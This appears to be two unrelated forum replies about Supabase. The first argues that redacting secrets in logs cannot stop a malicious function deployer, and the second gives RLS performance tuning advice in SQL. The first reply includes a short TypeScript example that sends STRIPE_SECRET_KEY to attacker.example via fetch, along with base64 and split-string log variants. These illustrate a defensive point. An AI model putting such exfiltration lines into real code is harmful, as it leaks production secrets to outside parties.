@adnantabda The threat model you describe in the second comment is real, and it is stronger than the first reply gives it credit for. But it also defeats the fix you proposed, and I think that is the thing worth settling before anyone writes Studio code. **Redaction cannot close the malicious case, because deploying arbitrary code strictly contains writing to logs.** If I can deploy a function, the log is not my only exfiltration channel — it is just the most convenient one. Studio-side matching against known secret values is defeated by any of these: ```ts // 1. never touches the log at all await fetch('https://attacker.example/?k=' + Deno.env.get('STRIPE_SECRET_KEY')) // 2. still in the log, no longer a substring match console.log(btoa(Deno.env.get('STRIPE_SECRET_KEY')!)) // 3. same, one character of effort const k = Deno.env.get('STRIPE_SECRET_KEY')! console.log(k.slice(0, 20), k.slice(20)) ``` Case 1 is the one that matters. Redaction is a filter on one output channel, and the attacker chooses the channel. So the feature would stop exactly the case @kallebysantos said belongs to the developer — the accidental `console.log` — and none of the case you built it for. That is not an argument for doing nothing. It is an argument that this is not a logging bug. **The actual finding is narrower and, I think, more useful: deploy permission is transitively read-all-secrets permission.** A function runs with the project's secrets in its environment. That is the entire point of the feature. So anyone who can decide what code runs in that environment can read everything in it. "Can deploy functions but cannot read secrets" is not a boundary that can hold, no matter how the values are rendered in Studio — the values are already in the process the untrusted party controls. Which means the Developer role is, for any project whose functions hold production secrets, effectively a Secret Manager role with extra steps. That is a documentation and UI honesty question rather than a redaction question, and it is worth stating plainly, because your Upwork/Fiverr scenario is a completely normal way to staff a project and the current role names actively suggest the opposite. **What does hold the boundary is separating the environments, not the render path.** The partially-trusted developer should be deploying against secrets that are not the production ones — a preview branch with its own secret values, test-mode Stripe keys, with promotion to production done by someone who does hold the Secret Manager role. Then "they can read every secret in the environment they can deploy to" stays true and stops mattering, because that environment has nothing worth stealing. Two things follow that are cheap and do help: 1. Redaction, kept and shipped, but scoped honestly as a defence against accidental logging — a real problem, just not this one. Sold as an insider-threat control it would give people confidence they have not earned. 2. Docs on the Developer role saying that deploy access implies access to every secret the runtime can see, so nobody designs a staffing model around a guarantee that is not there. On your question 1 — server-side redaction in edge-runtime has the same ceiling for the same reason, and it costs a comparison against every secret on every log line. On question 2, a secure values endpoint would be new plaintext-secret exposure introduced specifically to enable a control that does not stop the attack. That trade looks bad from here.

Both answers above point at the **number** of requests — the timers, the N+1 loop, the middleware. That is the right place to start, but it assumes each request costs roughly the same. If the meter sitting at 100% turns out to be Compute or Disk IO rather than Egress, that assumption is where the explanation breaks, because with RLS enabled the cost per request is not constant. It scales with rows scanned. An RLS policy is a predicate Postgres evaluates **per row it examines**. So the N+1 loop is the multiplier and the policy is the amplifier, and they compound: 20 tasks in a loop is 20 requests, and each of those 20 runs your `profiles` policy against every candidate row. Four things make that per-row cost collapse. These are Supabase's own [RLS performance recommendations](https://supabase.com/docs/guides/database/postgres/row-level-security#rls-performance-recommendations), and the numbers are from the benchmark suite the docs cite — which, as it happens, is [Gary's repo](https://github.com/GaryAustin1/RLS-Performance), so he can correct me if any of it has moved. **1. Wrap function calls in a `select`.** This is the big one. ```sql -- re-evaluated for every row using ( auth.uid() = user_id ) -- evaluated once per statement, as an InitPlan using ( (select auth.uid()) = user_id ) ``` Benchmarked at 179 ms → 9 ms for plain `auth.uid()`. For a `security definer` helper function it is 178,000 ms → 12 ms. If any of your policies call an `is_admin()`-style helper unwrapped, that single edit is worth more than every timer in your post combined. **2. Index the columns your policies filter on.** `user_id` in a policy with no index is a sequential scan on every request — 171 ms → under 0.1 ms in the same suite. Sequential scans are also exactly what shows up as Disk IO. **3. Add `to authenticated`.** Without a `TO` clause the policy is evaluated for `anon` as well, instead of stopping at the role check. **4. Avoid joining the source table inside the policy.** Invert it so the subquery filters on `auth.uid()` and the outer expression is a set membership — 9,000 ms → 20 ms. You can check all of this without reading a single policy. In the dashboard: **Advisors → Performance**. Lint [`0003_auth_rls_initplan`](https://supabase.com/docs/guides/database/database-advisors?queryGroups=lint&lint=0003_auth_rls_initplan) flags exactly the unwrapped-function case, per policy, and `0006_multiple_permissive_policies` flags tables where several permissive policies all run on every query. Both are free and take about ten seconds. To confirm it is really RLS and not just query volume, extend the `pg_stat_statements` query above to include block reads: ```sql select calls, mean_exec_time, total_exec_time, shared_blks_read, query from pg_stat_statements order by total_exec_time desc limit 20; ``` Sort by `calls` and you find the N+1. Sort by `total_exec_time` and you find whether those calls are individually expensive. If a query with modest `calls` is near the top with high `shared_blks_read`, the policy is scanning far more than it returns. And to see the policy in the plan, you have to ask as a role that is actually subject to it — as `postgres` you are the table owner and bypass RLS entirely, so the plan you get back is not the plan your app gets: ```sql begin; set local role authenticated; set local request.jwt.claims = '{"sub":"<a real user uuid>"}'; explain (analyze, buffers) select * from tasks limit 20; rollback; ``` If the policy appears as a `Filter` running over thousands of rows to return twenty, that is your answer, and it is independent of how often you call it. None of this makes the timers or the N+1 loop fine — fix those regardless, and `router.refresh()` on an interval is genuinely the worst of the three. But if you fix only the request count and the meter stays high, this is where to look next.